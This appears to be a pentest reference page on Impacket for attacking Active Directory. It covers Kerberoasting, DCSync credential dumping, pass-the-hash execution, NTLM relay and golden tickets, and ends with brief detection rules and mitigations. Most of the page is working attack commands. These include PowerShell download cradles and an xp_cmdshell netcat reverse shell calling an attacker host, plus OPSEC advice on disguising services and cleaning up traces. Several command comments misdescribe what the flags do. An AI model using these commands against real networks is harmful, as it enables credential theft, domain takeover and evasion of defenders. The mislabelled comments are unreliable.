Skip to Content
Impacket toolkit for Active Directory penetration testing

Impacket for Active Directory attacks

Reference notes for the Impacket toolkit, covering GetUserSPNs, secretsdump, psexec, ntlmrelayx, and more for AD penetration testing.

Dec 18, 2025
Updated Nov 22, 2026
23 min read

Introduction

Impacket is a collection of Python classes for working with network protocols, originally from SecureAuth and now maintained by Fortra. It implements SMB, MSRPC, LDAP, Kerberos and other Windows protocols in pure Python, and its example scripts are the default toolkit for attacking Active Directory from a Linux box.

Because the scripts are plain Python, they run from any attack host without a Windows VM or a compiled binary. In an AD assessment you reach for them to:

  • dump credentials from domain controllers and workstations
  • run commands remotely over SMB, WMI, DCOM or the Task Scheduler
  • Kerberoast and AS-REP roast
  • relay NTLM authentication
  • enumerate the domain over RPC and LDAP without Windows tooling

Already on your box

Kali, Parrot and BlackArch ship Impacket by default. NetExec (formerly CrackMapExec) and the BloodHound Python ingestor are built on the Impacket libraries.

Installation and setup

Installing Impacket

From the package manager (recommended):

Install Impacket from Package Manager
# Kali Linux / Debian-based
sudo apt update
sudo apt install impacket-scripts python3-impacket

# Arch Linux
sudo pacman -S impacket

# Verify installation
impacket-psexec --help

From GitHub (latest version):

Install Latest Impacket from GitHub
# Clone repository
git clone https://github.com/fortra/impacket.git
cd impacket

# Install in development mode
pip3 install .

# Alternative: Install with pipx (isolated environment)
pipx install impacket

In a virtual environment:

# Create isolated environment
python3 -m venv impacket-env
source impacket-env/bin/activate

# Install Impacket
pip install impacket

# Verify
python3 -c "import impacket; print(impacket.__version__)"

Environment setup

A working directory and short aliases for the scripts you run most:

Configure Impacket Environment and Aliases
# Set up working directory
mkdir -p ~/pentests/tools/impacket
cd ~/pentests/tools/impacket

# Create alias shortcuts (add to ~/.bashrc or ~/.zshrc)
cat >> ~/.bashrc << 'EOF'
# Impacket aliases
alias imp-psexec='impacket-psexec'
alias imp-smbexec='impacket-smbexec'
alias imp-wmiexec='impacket-wmiexec'
alias imp-secrets='impacket-secretsdump'
alias imp-GetUserSPNs='impacket-GetUserSPNs'
alias imp-GetNPUsers='impacket-GetNPUsers'
alias imp-ntlmrelayx='impacket-ntlmrelayx'
alias imp-smbserver='impacket-smbserver'
EOF

source ~/.bashrc

Credential and roasting tools

GetUserSPNs - Kerberoasting

Finds accounts with an SPN set and requests a TGS for each one. The ticket is encrypted with the service account's key, so you can crack it offline (Kerberoasting).

Basic Usage:

Kerberoasting with GetUserSPNs
# Enumerate SPNs and request tickets
impacket-GetUserSPNs DOMAIN.LOCAL/username:password -dc-ip 10.10.11.10 -request

# Output to hashcat format
impacket-GetUserSPNs DOMAIN.LOCAL/username:password -dc-ip 10.10.11.10 -request -outputfile hashes.txt

# Use hash instead of password
impacket-GetUserSPNs DOMAIN.LOCAL/username -hashes :NTHASH -dc-ip 10.10.11.10 -request

Advanced Techniques:

# Target specific user
impacket-GetUserSPNs DOMAIN.LOCAL/username:password -dc-ip 10.10.11.10 -request-user svc_sql

# Use Kerberos authentication (requires TGT)
export KRB5CCNAME=/tmp/krb5cc_ticket
impacket-GetUserSPNs DOMAIN.LOCAL/username -k -no-pass -dc-ip 10.10.11.10 -request

# Save tickets to file
impacket-GetUserSPNs DOMAIN.LOCAL/username:password -dc-ip 10.10.11.10 -request -save

# Stealth mode - enumerate only, no ticket requests
impacket-GetUserSPNs DOMAIN.LOCAL/username:password -dc-ip 10.10.11.10

Example Output:

ServicePrincipalName                    Name        MemberOf  PasswordLastSet             LastLogon  Delegation
--------------------------------------  ----------  --------  --------------------------  ---------  ----------
MSSQLSvc/sql01.domain.local:1433        svc_sql               2025-01-15 08:32:12.394221  <never>
HTTP/web01.domain.local                 svc_web               2024-11-23 14:21:33.182745  <never>

$krb5tgs$23$*svc_sql$DOMAIN.LOCAL$MSSQLSvc/sql01.domain.local:1433*$a8d3b2...

GetNPUsers - AS-REP Roasting

Requests AS-REP responses for users with Kerberos pre-authentication disabled. Part of each response is encrypted with the user's key and can be cracked offline.

Basic Usage:

AS-REP Roasting with GetNPUsers
# Enumerate vulnerable users
impacket-GetNPUsers DOMAIN.LOCAL/ -dc-ip 10.10.11.10 -usersfile users.txt -format hashcat

# Single user check
impacket-GetNPUsers DOMAIN.LOCAL/username -no-pass -dc-ip 10.10.11.10

# Request AS-REP for specific user
impacket-GetNPUsers DOMAIN.LOCAL/ -dc-ip 10.10.11.10 -request -usersfile vulnerable_users.txt

Advanced Options:

# Output to John format
impacket-GetNPUsers DOMAIN.LOCAL/ -dc-ip 10.10.11.10 -usersfile users.txt -format john -outputfile asrep_hashes.txt

# Enumerate domain users automatically
impacket-GetNPUsers DOMAIN.LOCAL/username:password -dc-ip 10.10.11.10 -request

# Use with LDAP
impacket-GetNPUsers DOMAIN.LOCAL/username:password -dc-ip 10.10.11.10 -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=4194304)"

secretsdump - Credential Extraction

Dumps the local SAM, LSA secrets, cached domain credentials and NTDS.dit, either remotely or from saved hive files.

SAM Database Dumping:

# Dump local SAM (workstation/server)
impacket-secretsdump administrator:password@10.10.11.45

# With NTLM hash
impacket-secretsdump -hashes :NTHASH administrator@10.10.11.45

# Specify specific user
impacket-secretsdump DOMAIN/username:password@10.10.11.45 -just-dc-user administrator

Domain Controller Credential Dumping:

Dump NTDS.dit from Domain Controller (DCSync)
# Dump NTDS.dit from Domain Controller
impacket-secretsdump DOMAIN.LOCAL/administrator:password@dc01.domain.local -just-dc

# Extract NTLM hashes only
impacket-secretsdump DOMAIN.LOCAL/administrator:password@dc01.domain.local -just-dc-ntlm

# Dump specific user
impacket-secretsdump DOMAIN.LOCAL/administrator:password@dc01.domain.local -just-dc-user krbtgt

# Include historical passwords
impacket-secretsdump DOMAIN.LOCAL/administrator:password@dc01.domain.local -history

# Use Kerberos authentication
export KRB5CCNAME=/tmp/admin.ccache
impacket-secretsdump DOMAIN.LOCAL/administrator@dc01.domain.local -k -no-pass -just-dc

Advanced Techniques:

# VSS (Volume Shadow Copy) method
impacket-secretsdump DOMAIN.LOCAL/administrator:password@dc01.domain.local -use-vss

# Extract from specific NTDS.dit file
impacket-secretsdump -ntds /path/to/ntds.dit -system /path/to/SYSTEM LOCAL

# Export to specific format
impacket-secretsdump DOMAIN.LOCAL/administrator:password@dc01.domain.local -outputfile dc_secrets

# Extract Kerberos keys
impacket-secretsdump DOMAIN.LOCAL/administrator:password@dc01.domain.local -just-dc-user krbtgt -output krbtgt_keys

Example Output:

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a9b30e5b0dc865eadcea9411e4ade72d:::
DOMAIN$:1000:aad3b435b51404eeaad3b435b51404ee:8a4c9b5d2e3f7a1b0c9d8e7f6a5b4c3d:::

Remote execution tools

psexec - SMB-based Remote Execution

Uploads a service binary over SMB and runs it, like Sysinternals PsExec. You get a SYSTEM shell, and a new service plus a 7045 event on the target.

Basic Execution:

PsExec Remote Command Execution
# Execute with credentials
impacket-psexec DOMAIN/administrator:password@10.10.11.45

# Use NTLM hash (Pass-the-Hash)
impacket-psexec -hashes :NTHASH administrator@10.10.11.45

# Execute specific command
impacket-psexec DOMAIN/administrator:password@10.10.11.45 'ipconfig /all'

Advanced Options:

# Upload and execute binary
impacket-psexec DOMAIN/administrator:password@10.10.11.45 -c /tmp/payload.exe

# Use alternative service name (stealth)
impacket-psexec DOMAIN/administrator:password@10.10.11.45 -service-name svchost

# Execute in specific share
impacket-psexec DOMAIN/administrator:password@10.10.11.45 -share ADMIN$

# Use Kerberos authentication
export KRB5CCNAME=/tmp/admin.ccache
impacket-psexec DOMAIN/administrator@dc01.domain.local -k -no-pass

# Remote binary execution
impacket-psexec DOMAIN/administrator:password@10.10.11.45 -remote-binary-name update.exe

smbexec - Stealthier SMB Execution

Runs each command through a service that calls cmd.exe, so no binary is written to disk. Quieter than psexec, but it still creates services.

Basic Usage:

# Standard execution
impacket-smbexec DOMAIN/administrator:password@10.10.11.45

# Pass-the-Hash
impacket-smbexec -hashes :NTHASH administrator@10.10.11.45

# Execute command without interactive shell
impacket-smbexec DOMAIN/administrator:password@10.10.11.45 -mode SERVER 'whoami'

Stealth Techniques:

# Use SHARE mode (writes to writable share)
impacket-smbexec DOMAIN/administrator:password@10.10.11.45 -mode SHARE

# Specify custom share
impacket-smbexec DOMAIN/administrator:password@10.10.11.45 -share C$

# Silent execution (no output capture)
impacket-smbexec DOMAIN/administrator:password@10.10.11.45 -nooutput

wmiexec - WMI-based Execution

Runs commands through WMI Win32_Process. No service is created, and output comes back through a temporary file on the ADMIN$ share.

Basic Usage:

# Standard WMI execution
impacket-wmiexec DOMAIN/administrator:password@10.10.11.45

# Pass-the-Hash
impacket-wmiexec -hashes :NTHASH administrator@10.10.11.45

# Execute specific command
impacket-wmiexec DOMAIN/administrator:password@10.10.11.45 'tasklist'

Advanced Techniques:

# Silent execution (no output)
impacket-wmiexec DOMAIN/administrator:password@10.10.11.45 -nooutput -c 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(\"http://10.10.14.5/payload.ps1\")"'

# Use specific namespace
impacket-wmiexec DOMAIN/administrator:password@10.10.11.45 -namespace root/cimv2

# Execute PowerShell command
impacket-wmiexec DOMAIN/administrator:password@10.10.11.45 'powershell -c "Get-Process"'

# Use Kerberos
export KRB5CCNAME=/tmp/admin.ccache
impacket-wmiexec DOMAIN/administrator@10.10.11.45 -k -no-pass

atexec - Task Scheduler Execution

Runs a command through a scheduled task. Useful when service creation or WMI is blocked.

Usage:

# Basic execution
impacket-atexec DOMAIN/administrator:password@10.10.11.45 'whoami'

# Schedule task for specific time
impacket-atexec DOMAIN/administrator:password@10.10.11.45 -at 14:30 'cmd.exe /c calc.exe'

# Pass-the-Hash
impacket-atexec -hashes :NTHASH administrator@10.10.11.45 'systeminfo'

# Silent background execution
impacket-atexec DOMAIN/administrator:password@10.10.11.45 'powershell -c "Start-Process calc.exe"'

dcomexec - DCOM-based Execution

Runs commands through DCOM objects (MMC20.Application, ShellWindows, ShellBrowserWindow).

Usage:

# Standard DCOM execution
impacket-dcomexec DOMAIN/administrator:password@10.10.11.45

# Specify DCOM object (default: MMC20.Application)
impacket-dcomexec DOMAIN/administrator:password@10.10.11.45 -object ShellWindows

# Pass-the-Hash
impacket-dcomexec -hashes :NTHASH administrator@10.10.11.45 'cmd.exe'

NTLM relay

ntlmrelayx - NTLM Relay Attack Framework

Takes NTLM authentication captured over SMB, HTTP or other protocols and relays it to a target where signing is not enforced.

Basic Relay:

NTLM Relay Attack
# Basic relay to target list
impacket-ntlmrelayx -tf targets.txt -smb2support

# Relay with command execution
impacket-ntlmrelayx -tf targets.txt -smb2support -c 'whoami'

# Dump SAM database
impacket-ntlmrelayx -tf targets.txt -smb2support

Other relay options:

# Interactive SMB shell
impacket-ntlmrelayx -tf targets.txt -smb2support -i

# SOCKS proxy for tunneling
impacket-ntlmrelayx -tf targets.txt -smb2support -socks

# Relay to specific protocol (LDAP)
impacket-ntlmrelayx -t ldap://dc01.domain.local -smb2support

# Relay and dump Domain Admin hashes
impacket-ntlmrelayx -t ldap://dc01.domain.local -smb2support --dump-adcs

# Relay to HTTP
impacket-ntlmrelayx -t http://web01.domain.local/endpoint -smb2support

# Execute PowerShell payload
impacket-ntlmrelayx -tf targets.txt -smb2support -c 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(\"http://10.10.14.5/shell.ps1\")"'

Relay to LDAP for privilege escalation:

NTLM Relay to LDAP for Privilege Escalation
# Create new Domain Admin account
impacket-ntlmrelayx -t ldaps://dc01.domain.local -smb2support --add-computer

# Delegate permissions (RBCD attack)
impacket-ntlmrelayx -t ldaps://dc01.domain.local -smb2support --delegate-access

# Extract LAPS passwords
impacket-ntlmrelayx -t ldaps://dc01.domain.local -smb2support --dump-laps

HTTP relay:

# Start HTTP server and relay
impacket-ntlmrelayx -t smb://10.10.11.45 -smb2support

# Relay from HTTP to SMB
impacket-ntlmrelayx -t smb://10.10.11.45 -smb2support -e /tmp/payload.exe

# WebDAV relay
impacket-ntlmrelayx -t http://sharepoint.domain.local -smb2support

Kerberos Tools

getST - Request Service Tickets

Requests a service ticket for a given SPN, including S4U2Self and S4U2Proxy requests for delegation abuse.

Usage:

# Request service ticket
impacket-getST DOMAIN.LOCAL/username:password -spn MSSQLSvc/sql01.domain.local:1433

# Use TGT to request ticket
export KRB5CCNAME=/tmp/user.ccache
impacket-getST DOMAIN.LOCAL/username -k -no-pass -spn HTTP/web01.domain.local

# Request ticket with AES key
impacket-getST DOMAIN.LOCAL/username -aesKey <AES256_KEY> -spn CIFS/file01.domain.local

# Impersonate user (S4U2Self)
impacket-getST DOMAIN.LOCAL/username:password -spn CIFS/dc01.domain.local -impersonate administrator

ticketConverter - Convert Ticket Formats

Converts tickets between the ccache format used on Linux and the kirbi format used by Mimikatz and Rubeus.

Usage:

# Convert kirbi to ccache
impacket-ticketConverter ticket.kirbi ticket.ccache

# Convert ccache to kirbi
impacket-ticketConverter ticket.ccache ticket.kirbi

# Use converted ticket
export KRB5CCNAME=ticket.ccache
impacket-psexec DOMAIN.LOCAL/administrator@dc01.domain.local -k -no-pass

getTGT - Request Ticket Granting Tickets

Requests a TGT with a password, hash or AES key and saves it as a ccache file.

Usage:

# Request TGT with password
impacket-getTGT DOMAIN.LOCAL/username:password

# Request TGT with NTLM hash
impacket-getTGT DOMAIN.LOCAL/username -hashes :NTHASH

# Request TGT with AES key
impacket-getTGT DOMAIN.LOCAL/username -aesKey <AES256_KEY>

# Save to specific file
impacket-getTGT DOMAIN.LOCAL/username:password -dc-ip 10.10.11.10 -save username.ccache

Network Services

smbserver - SMB File Server

Starts an SMB server on your host for moving files to and from Windows targets.

Basic Usage:

# Create anonymous SMB share
impacket-smbserver share /tmp/share

# Create authenticated share
impacket-smbserver share /tmp/share -smb2support -username user -password password

# Listen on specific interface
impacket-smbserver share /tmp/share -smb2support -ip 10.10.14.5

On the Windows client:

# Map network drive
net use Z: \\10.10.14.5\share /user:user password

# Copy files to share
copy C:\Windows\System32\config\SAM Z:\

# Execute from share
\\10.10.14.5\share\payload.exe

smbclient - SMB Client

An interactive SMB client for listing shares and moving files.

Basic Usage:

# Connect to share
impacket-smbclient DOMAIN/username:password@10.10.11.45

# List shares
impacket-smbclient -L //10.10.11.45 -U username

# Download file
impacket-smbclient DOMAIN/username:password@10.10.11.45 -c 'get passwords.txt'

# Upload file
impacket-smbclient DOMAIN/username:password@10.10.11.45 -c 'put payload.exe'

mssqlclient - MSSQL Client

A client for Microsoft SQL Server with Windows or SQL authentication.

Basic Connection:

# Connect with credentials
impacket-mssqlclient DOMAIN/username:password@sql01.domain.local

# Windows authentication
impacket-mssqlclient DOMAIN/username:password@sql01.domain.local -windows-auth

# Pass-the-Hash
impacket-mssqlclient -hashes :NTHASH username@sql01.domain.local -windows-auth

SQL Server abuse:

# Connect to MSSQL
impacket-mssqlclient sa:password@10.10.11.45

# Enable xp_cmdshell
SQL> enable_xp_cmdshell

# Execute OS commands
SQL> xp_cmdshell whoami

# Read file
SQL> xp_cmdshell type C:\Users\Administrator\Desktop\flag.txt

# Upload file via SMB
SQL> xp_cmdshell powershell -c "IWR -Uri http://10.10.14.5/nc.exe -OutFile C:\temp\nc.exe"

# Reverse shell
SQL> xp_cmdshell C:\temp\nc.exe 10.10.14.5 4444 -e cmd.exe

Enumeration Tools

samrdump - SAM Enumeration

Lists users through the SAMR RPC interface.

Usage:

# Enumerate via port 445
impacket-samrdump DOMAIN/username:password@10.10.11.45

# Enumerate via port 139
impacket-samrdump DOMAIN/username:password@10.10.11.45 139/SMB

# Anonymous enumeration
impacket-samrdump @10.10.11.45

rpcdump - RPC Endpoint Mapping

Lists the RPC endpoints registered with the endpoint mapper on a target.

Usage:

# Dump RPC endpoints (port 135)
impacket-rpcdump DOMAIN/username:password@10.10.11.45 135

# Dump via SMB (port 445)
impacket-rpcdump DOMAIN/username:password@10.10.11.45 445

# Enumerate specific interface
impacket-rpcdump DOMAIN/username:password@10.10.11.45 -brute-opnums

reg - Remote Registry Access

Reads and writes the registry on a remote host through the Remote Registry service.

Usage:

# Query registry key
impacket-reg DOMAIN/username:password@10.10.11.45 query -keyName HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion

# Read specific value
impacket-reg DOMAIN/username:password@10.10.11.45 query -keyName "HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters" -v "NullSessionShares"

# Add registry key
impacket-reg DOMAIN/username:password@10.10.11.45 add -keyName "HKLM\\SOFTWARE\\Test" -v TestValue -vd "TestData" -vt REG_SZ

# Delete registry key
impacket-reg DOMAIN/username:password@10.10.11.45 delete -keyName "HKLM\\SOFTWARE\\Test"

Attack scenarios

Scenario 1: initial domain compromise

Scenario 1: Initial Domain Compromise
# Step 1: Enumerate users (null session)
impacket-GetNPUsers DOMAIN.LOCAL/ -dc-ip 10.10.11.10 -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt

# Step 2: Crack AS-REP hashes
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

# Step 3: Kerberoast with compromised credentials
impacket-GetUserSPNs DOMAIN.LOCAL/user:password -dc-ip 10.10.11.10 -request -outputfile spn_hashes.txt

# Step 4: Crack Kerberoast hashes
hashcat -m 13100 spn_hashes.txt /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule

# Step 5: Dump credentials with compromised service account
impacket-secretsdump DOMAIN.LOCAL/svc_sql:crackedpass@dc01.domain.local -just-dc

Scenario 2: lateral movement

# Step 1: Verify credentials across multiple hosts
crackmapexec smb 10.10.11.0/24 -u administrator -H <NTLM_HASH> --continue-on-success

# Step 2: Execute commands on reachable hosts
impacket-wmiexec -hashes :<NTLM_HASH> administrator@10.10.11.45 'ipconfig /all'

# Step 3: Dump local SAM on each host
impacket-secretsdump -hashes :<NTLM_HASH> administrator@10.10.11.45

# Step 4: Move to next target with obtained credentials
impacket-psexec DOMAIN/newuser:password@10.10.11.50

Scenario 3: NTLM relay

Scenario 3: NTLM Relay Attack
# Step 1: Configure Responder
sed -i 's/SMB = On/SMB = Off/g' /etc/responder/Responder.conf
sed -i 's/HTTP = On/HTTP = Off/g' /etc/responder/Responder.conf

# Step 2: Start Responder
sudo responder -I eth0 -wv

# Step 3: Setup ntlmrelayx (separate terminal)
impacket-ntlmrelayx -tf targets.txt -smb2support -socks

# Step 4: Trigger authentication (social engineering, forced browsing, etc.)
# UNC path: \\attacker-ip\share

# Step 5: Use SOCKS proxy for authentication
proxychains impacket-secretsdump DOMAIN/user@10.10.11.45

Scenario 4: domain controller compromise

Scenario 4: Domain Controller Compromise
# Step 1: Verify Domain Admin credentials
impacket-psexec DOMAIN/Administrator:password@dc01.domain.local 'whoami'

# Step 2: Dump NTDS.dit
impacket-secretsdump DOMAIN/Administrator:password@dc01.domain.local -just-dc -outputfile dc_dump

# Step 3: Extract krbtgt hash for Golden Ticket
grep krbtgt dc_dump.ntds

# Step 4: Create Golden Ticket
impacket-ticketer -nthash <KRBTGT_HASH> -domain-sid <DOMAIN_SID> -domain DOMAIN.LOCAL administrator

# Step 5: Use Golden Ticket
export KRB5CCNAME=administrator.ccache
impacket-psexec DOMAIN.LOCAL/administrator@dc01.domain.local -k -no-pass

Detection

Detecting Impacket Usage

Network signatures:

# Snort rule for Impacket PsExec
alert tcp any any -> any 445 (msg:"Impacket PsExec Service Creation"; content:"|ff|SMB"; offset:4; depth:4; content:"svcctl"; nocase; sid:1000001;)

# Zeek/Bro detection
# Look for unusual SMB service names (common with psexec)
event smb_message::request_create_pipe(c: connection, hdr: SMB::Header, path: string) {
    if (/^(PSEXESVC|BTOBTO|REMCOM)/ in path) {
        NOTICE([$note=Suspicious_SMB_Pipe, $msg="Possible PsExec execution", $conn=c]);
    }
}

Windows event logs:

# Event ID 4688: Process Creation
# Look for suspicious command lines
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4688} |
    Where-Object {$_.Properties[8].Value -match 'cmd\.exe.*\\\\127\.0\.0\.1'} |
    Select-Object TimeCreated, @{N='CommandLine';E={$_.Properties[8].Value}}

# Event ID 5145: Network Share Object Access
# Monitor for __output file creation (used by smbexec/wmiexec)
Get-WinEvent -FilterHashtable @{LogName='Security';ID=5145} |
    Where-Object {$_.Properties[3].Value -match '__output|__ADMIN'}

# Event ID 4697: Service Installation
# Detect PsExec-style service creation
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4697} |
    Where-Object {$_.Properties[1].Value -match 'PSEXESVC|BTOBTO'}

Sigma rule:

title: Impacket PsExec Execution
status: experimental
description: Detects PsExec-like execution using Impacket
references:
  - https://github.com/fortra/impacket
tags:
  - attack.execution
  - attack.t1569.002
logsource:
  product: windows
  service: security
detection:
  selection_service:
    EventID: 4697
    ServiceFileName|contains:
      - '\ADMIN$\'
      - 'PSEXESVC'
  condition: selection_service
falsepositives:
  - Legitimate administrative tools
level: high

Mitigations

SMB hardening:

# Enable SMB signing (required)
Set-SmbServerConfiguration -RequireSecuritySignature $True -Force

# Disable SMBv1
Set-SmbServerConfiguration -EnableSMB1Protocol $False -Force

# Enable SMB encryption
Set-SmbServerConfiguration -EncryptData $True -Force

Credential protection:

# Enable Credential Guard
# Requires Windows 10 Enterprise/Server 2016+
# Set via Group Policy: Computer Configuration > Administrative Templates > System > Device Guard

# Enable LSASS Protection (PPL)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -Value 1

# Disable NTLM authentication
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "LmCompatibilityLevel" -Value 5

Network segmentation:

# Block SMB at perimeter firewall
iptables -A INPUT -p tcp --dport 445 -s ! 10.0.0.0/8 -j DROP
iptables -A INPUT -p tcp --dport 139 -s ! 10.0.0.0/8 -j DROP

# Restrict RPC access
iptables -A INPUT -p tcp --dport 135 -s ! 10.0.0.0/8 -j DROP

Operator notes

OPSEC

# Use Kerberos authentication when possible (stealthier)
export KRB5CCNAME=/tmp/ticket.ccache
impacket-wmiexec DOMAIN/user@target.domain.local -k -no-pass

# Avoid creating easily detectable service names
impacket-psexec DOMAIN/admin:pass@target -service-name svchost

# Use authenticated encryption for Kerberos
impacket-getST DOMAIN/user:pass -spn HTTP/target -aesKey <AES256_KEY>

# Clean up artifacts
impacket-psexec DOMAIN/admin:pass@target 'del C:\Windows\Temp\*.exe'

Logging for the report

# Log all Impacket commands
script -a impacket_session.log

# Save all output to files
impacket-secretsdump DOMAIN/admin:pass@dc | tee secretsdump_output.txt

# Generate timestamp for each command
echo "[$(date '+%Y-%m-%d %H:%M:%S')] Running secretsdump..." >> audit.log

References

MITRE ATT&CK Techniques

MITRE ATT&CK Software

Official documentation

Other resources

Next Steps

  • Run the scenarios above in a lab domain (your own AD lab, HackTheBox or TryHackMe) and watch which events each tool leaves.
  • Pair Impacket with NetExec, BloodHound and Rubeus.
  • Read the example scripts in the repository. They are the best documentation for writing your own tools on the library.
  • Related notes:

On this page